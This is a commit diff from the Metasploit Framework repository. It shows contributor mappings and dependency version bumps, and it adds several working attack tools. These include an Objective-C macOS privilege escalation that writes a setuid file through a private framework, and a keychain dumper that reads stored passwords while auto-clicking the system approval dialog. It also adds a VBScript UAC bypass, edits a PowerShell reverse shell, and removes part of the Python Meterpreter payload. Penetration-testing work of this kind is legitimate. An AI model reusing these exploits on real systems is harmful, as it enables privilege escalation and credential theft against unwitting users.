Update with master changes

bug/bundler_fix
jvazquez-r7 2015-09-25 10:47:37 -05:00
commit c79671821d
988 changed files with 129805 additions and 91044 deletions

View File

@ -1,4 +1,5 @@
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
ccatalan-r7 <ccatalan-r7@github> Christian Catalan <ccatalan@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
@ -11,9 +12,8 @@ farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com>
jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
@ -37,9 +37,8 @@ todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
@ -73,18 +72,18 @@ efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
jcran <jcran@github> Jonathan Cran <jcran@0x0e.org>
jcran <jcran@github> Jonathan Cran <jcran@rapid7.com>
jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org>
jcran <jcran@github> <jcran@pwnieexpress.com>
jcran <jcran@github> <jcran@pentestify.com>
jcran <jcran@github> <jcran@0x0e.org>
jcran <jcran@github> <jcran@rapid7.com>
jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
joevennix <joevennix@github> joe <joev@metasploit.com>
joevennix <joevennix@github> Joe Vennix <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joev@metasploit.com>
joevennix <joevennix@github> joev <joev@metasploit.com>
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> jvennix-r7 <joev@metasploit.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
@ -94,18 +93,17 @@ m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> <eat_meatballs@hotmail.co.uk>
Meatballs1 <Meatballs1@github> <Meatballs1@users.noreply.github.com>
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
nullbind <nullbind@github> Scott Sutherland <scott.sutherland@nullbind.com>
ohdae <ohdae@github> ohdae <bindshell@live.com>
oj <oj@github> OJ <oj@buffered.io>
oj <oj@github> OJ Reeves <oj@buffered.io>
oj <oj@github> <oj@buffered.io>
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local>
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
@ -116,8 +114,7 @@ skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
timwr <timwr@github> Tim <timrlw@gmail.com>
timwr <timwr@github> Tim Wright <timrlw@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>

View File

@ -41,3 +41,6 @@ branches:
addons:
postgresql: '9.3'
apt:
packages:
- libpcap-dev

View File

@ -1,33 +1,34 @@
PATH
remote: .
specs:
metasploit-framework (4.11.0.pre.dev)
metasploit-framework (4.11.4)
actionpack (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit-payloads (= 1.0.4)
metasm (~> 1.0.2)
metasploit-concern (= 1.0.0)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.13)
msgpack
nokogiri
packetfu (= 1.1.9)
packetfu (= 1.1.11)
railties
rb-readline-r7
recog (~> 2.0)
recog (= 2.0.6)
robots
rubyzip (~> 1.1)
sqlite3
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
metasploit-framework-db (4.11.4)
activerecord (>= 4.0.9, < 4.1.0)
metasploit-credential (~> 1.0)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 1.2)
metasploit-credential (= 1.0.1)
metasploit-framework (= 4.11.4)
metasploit_data_models (= 1.2.5)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
metasploit-framework-pcap (4.11.4)
metasploit-framework (= 4.11.4)
network_interface (~> 0.0.1)
pcaprub
@ -104,14 +105,15 @@ GEM
i18n (0.7.0)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
json (1.8.2)
json (1.8.3)
mail (2.6.3)
mime-types (>= 1.16, < 3)
metasm (1.0.2)
metasploit-concern (1.0.0)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-credential (1.0.0)
metasploit-credential (1.0.1)
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit_data_models (~> 1.0)
@ -123,7 +125,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.4)
metasploit-payloads (1.0.13)
metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
@ -135,18 +137,20 @@ GEM
railties (>= 4.0.9, < 4.1.0)
recog (~> 2.0)
method_source (0.8.2)
mime-types (2.4.3)
mime-types (2.6.1)
mini_portile (0.6.2)
minitest (4.7.5)
msgpack (0.6.0)
multi_json (1.11.1)
msgpack (0.6.2)
multi_json (1.11.2)
multi_test (0.1.2)
network_interface (0.0.1)
nokogiri (1.6.6.2)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
packetfu (1.1.11)
network_interface (~> 0.0)
pcaprub (~> 0.12)
pcaprub (0.12.0)
pg (0.18.2)
pg (0.18.3)
pg_array_parser (0.0.9)
postgres_ext (2.4.1)
activerecord (>= 4.0.0)
@ -198,7 +202,7 @@ GEM
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rubyntlm (0.5.0)
rubyntlm (0.5.2)
rubyzip (1.1.7)
shoulda-matchers (2.8.0)
activesupport (>= 3.0.0)

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,33 @@
// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa
#include <dlfcn.h>
#include <objc/objc.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <Foundation/Foundation.h>
#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
#define FWK_BASE "/System/Library/Frameworks"
void __attribute__ ((constructor)) test(void)
{
void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);
if (p != NULL)
{
id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
id tool = objc_msgSend(sharedClient, @selector(remoteProxy));
NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"];
NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"];
NSData* data = [NSData dataWithContentsOfFile:inpath];
objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
data,
outpath,
@{ NSFilePosixPermissions : @04777 });
}
exit(1);
}

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,2 @@
all:
gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump

Binary file not shown.

View File

@ -0,0 +1,161 @@
// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
#import <Cocoa/Cocoa.h>
#import <CoreFoundation/CoreFoundation.h>
#import <Security/Security.h>
#include <ApplicationServices/ApplicationServices.h>
#include <unistd.h>
#include <pthread.h>
#define TIMEOUT 3
void click(float x, float y) {
CGEventRef move1 = CGEventCreateMouseEvent(
NULL, kCGEventMouseMoved,
CGPointMake(x, y),
kCGMouseButtonLeft // ignored
);
CGEventRef click1_down = CGEventCreateMouseEvent(
NULL, kCGEventLeftMouseDown,
CGPointMake(x, y),
kCGMouseButtonLeft
);
CGEventRef click1_up = CGEventCreateMouseEvent(
NULL, kCGEventLeftMouseUp,
CGPointMake(x, y),
kCGMouseButtonLeft
);
CGEventPost(kCGHIDEventTap, move1);
CGEventPost(kCGHIDEventTap, click1_down);
CGEventPost(kCGHIDEventTap, click1_up);
// Release the events
CFRelease(move1);
CFRelease(click1_up);
CFRelease(click1_down);
}
void parse_windows(int offx, int offy) {
CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
for (NSMutableDictionary* entry in (NSArray*)windowList)
{
CGRect rect;
NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
if ([ownerName isEqualToString: @"SecurityAgent"]) {
CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
CGRectMakeWithDictionaryRepresentation(bounds, &rect);
float spotx = rect.origin.x + 385 + offx;
float spoty = rect.origin.y + rect.size.height - 25 + offy;
click(spotx, spoty);
}
}
CFRelease(windowList);
}
void poll_ui() {
while(1) {
sleep(0.0001);
parse_windows(0, 0);
}
}
id tQuery = NULL;
CFTypeRef result = NULL;
void prompt() {
SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
}
void dump(NSArray *refs) {
NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
error: NULL];
[jsonData writeToFile: @"/dev/stdout" atomically: NO];
}
int main() {
pthread_t thread_prompt, thread_click;
NSArray *secItemClasses = [NSArray arrayWithObjects:
(__bridge id)kSecClassGenericPassword,
(__bridge id)kSecClassInternetPassword,
nil];
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
(__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
nil];
NSMutableArray *refs = [NSMutableArray new];
for (id secItemClass in secItemClasses) {
[query setObject:secItemClass forKey:(__bridge id)kSecClass];
CFTypeRef result1 = NULL;
SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
NSArray *data = (__bridge NSArray*)result1;
if (data) {
for (NSDictionary *item in data) {
if (!item) continue;
NSMutableDictionary *newItem = [NSMutableDictionary new];
for (NSString* key in item) {
[newItem setObject:[[item objectForKey: key] description] forKey: key];
}
[newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
[refs addObject: newItem];
}
if (result1 != NULL) CFRelease(result1);
}
}
NSMutableArray *all = [NSMutableArray new];
for (id ref in refs) {
tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
(__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
nil];
for (id secItemClass in secItemClasses) {
[tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];
result = NULL;
pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);
time_t end = time(NULL) + TIMEOUT;
int found = 0;
while(time(NULL) < end) {
if (result != NULL) {
found = 1;
break;
}
sleep(0.1);
}
pthread_cancel(thread_click);
pthread_cancel(thread_prompt);
[ref removeObjectForKey: @"v_Ref"];
// we didnt find anything in TIMEOUT seconds. this can happen if the keychain
// is locked
if (!found) {
parse_windows(-80, 0); // click cancel
dump(all); // get out now
return 0;
}
NSString *pass = @"(null)";
if (result && [result bytes]) {
pass = [NSString stringWithUTF8String:[result bytes]];
if (!pass) pass = @"(null)";
} else {
pass = @"(null)";
}
[ref setObject:pass forKey: @"Private"];
[all addObject: ref];
}
}
dump(all);
return 0;
}

View File

@ -36,7 +36,7 @@ function powerfun
$stream = $sslStream
}
[byte[]]$bytes = 0..255|%{0}
[byte[]]$bytes = 0..20000|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)

View File

@ -0,0 +1,62 @@
Option Explicit
Dim oWs: Set oWs = CreateObject("WScript.Shell")
Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject")
Dim HOST_MANIFEST: HOST_MANIFEST = _
"<?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?>" & vbCrLf & _
"<assembly xmlns=""urn:schemas-microsoft-com:asm.v1""" & vbCrLf & _
" xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3""" & vbCrLf & _
" manifestVersion=""1.0"">" & vbCrLf & _
" <asmv3:trustInfo>" & vbCrLf & _
" <security>" & vbCrLf & _
" <requestedPrivileges>" & vbCrLf & _
" <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/>" & vbCrLf & _
" </requestedPrivileges>" & vbCrLf & _
" </security>" & vbCrLf & _
" </asmv3:trustInfo>" & vbCrLf & _
" <asmv3:application>" & vbCrLf & _
" <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings"">" & vbCrLf & _
" <autoElevate>true</autoElevate>" & vbCrLf & _
" <dpiAware>true</dpiAware>" & vbCrLf & _
" </asmv3:windowsSettings>" & vbCrLf & _
" </asmv3:application>" & vbCrLf & _
"</assembly>"
Sub Copy(ByVal sSource, ByVal sTarget)
Dim sTempFile: sTempFile = GetTempFilename()
oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True
oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True
oFso.DeleteFile sTempFile
End Sub
Sub Elevate()
Const WINDIR = "%windir%"
Dim sPath: sPath = Left(WScript.ScriptFullName, _
InStrRev(WScript.ScriptFullName, "\"))
Dim sHost: sHost = Right(WScript.FullName, 11)
Dim sManifest: sManifest = sPath & sHost & ".manifest"
Dim oStream: Set oStream = oFso.CreateTextFile(sManifest)
oStream.Write HOST_MANIFEST
oStream.Close
Copy sManifest, WINDIR
Copy WScript.FullName, WINDIR
oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART"
oFso.DeleteFile sManifest
End Sub
Function GetTempFilename()
Const vbTemporaryFolder = 2
Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder)
GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName())
End Function
Sub RunAsAdmin()
oWs.Run "COMMAND"
End Sub
If WScript.Arguments.Named.Exists("RESTART") Then
RunAsAdmin
Else
Elevate
End If

BIN
data/exploits/tpwn/tpwn Executable file

Binary file not shown.

Binary file not shown.

View File

@ -973,6 +973,12 @@ os_detect.getVersion = function(){
os_name = "Windows 8";
os_sp = "SP0";
break;
case "1100":
// IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
ua_version = "11.0";
os_name = "Windows 10";
os_sp = "SP0";
break;
default:
unknown_fingerprint = version;
break;

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,774 +0,0 @@
#!/usr/bin/python
import code
import os
import platform
import random
import select
import socket
import struct
import subprocess
import sys
import threading
import time
import traceback
try:
import ctypes
except ImportError:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
# this MUST be imported for urllib to work on OSX
try:
import SystemConfiguration as osxsc
osxsc.SCNetworkInterfaceCopyAll()
has_osxsc = True
except ImportError:
has_osxsc = False
try:
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
has_urllib = False
else:
has_urllib = True
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, 'UTF-8')
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, 'UTF-8')
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
#
# Constants
#
# these values may be patched, DO NOT CHANGE THEM
DEBUGGING = False
HTTP_COMMUNICATION_TIMEOUT = 300
HTTP_CONNECTION_URL = None
HTTP_EXPIRATION_TIMEOUT = 604800
HTTP_PROXY = None
HTTP_USER_AGENT = None
PAYLOAD_UUID = ""
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
ERROR_FAILURE_PYTHON = 2
ERROR_FAILURE_WINDOWS = 3
CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL = 3
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV base starting points
#
TLV_RESERVED = 0
TLV_EXTENSIONS = 20000
TLV_USER = 40000
TLV_TEMP = 60000
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
return symbol
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in range(32))
@export
def crc16(data):
poly = 0x1021
reg = 0x0000
if is_str(data):
data = list(map(ord, data))
elif is_bytes(data):
data = list(data)
data.append(0)
data.append(0)
for byte in data:
mask = 0x80
while mask > 0:
reg <<= 1
if byte & mask:
reg += 1
mask >>= 1
if reg > 0xffff:
reg &= 0xffff
reg ^= poly
return reg
@export
def error_result(exception=None):
if not exception:
_, exception, _ = sys.exc_info()
exception_crc = crc16(exception.__class__.__name__)
if exception_crc == 0x4cb2: # WindowsError
return error_result_windows(exception.errno)
else:
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
return result
@export
def error_result_windows(error_number=None):
if not has_windll:
return ERROR_FAILURE
if error_number == None:
error_number = ctypes.windll.kernel32.GetLastError()
if error_number > 0xffff:
return ERROR_FAILURE
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
return result
@export
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
val = struct.unpack('>Q', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
raise StopIteration()
@export
def packet_get_tlv(pkt, tlv_type):
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
@export
def tlv_pack(*args):
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ""
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], tlv['value'])
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
#@export
class MeterpreterFile(object):
def __init__(self, file_obj):
self.file_obj = file_obj
def __getattr__(self, name):
return getattr(self.file_obj, name)
export(MeterpreterFile)
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
self.sock = sock
def __getattr__(self, name):
return getattr(self.sock, name)
export(MeterpreterSocket)
#@export
class MeterpreterSocketClient(MeterpreterSocket):
pass
export(MeterpreterSocketClient)
#@export
class MeterpreterSocketServer(MeterpreterSocket):
pass
export(MeterpreterSocketServer)
class STDProcessBuffer(threading.Thread):
def __init__(self, std, is_alive):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = bytes()
self.data_lock = threading.RLock()
def run(self):
for byte in iter(lambda: self.std.read(1), bytes()):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
def is_read_ready(self):
return len(self.data) != 0
def peek(self, l = None):
data = bytes()
self.data_lock.acquire()
if l == None:
data = self.data
else:
data = self.data[0:l]
self.data_lock.release()
return data
def read(self, l = None):
self.data_lock.acquire()
data = self.peek(l)
self.data = self.data[len(data):]
self.data_lock.release()
return data
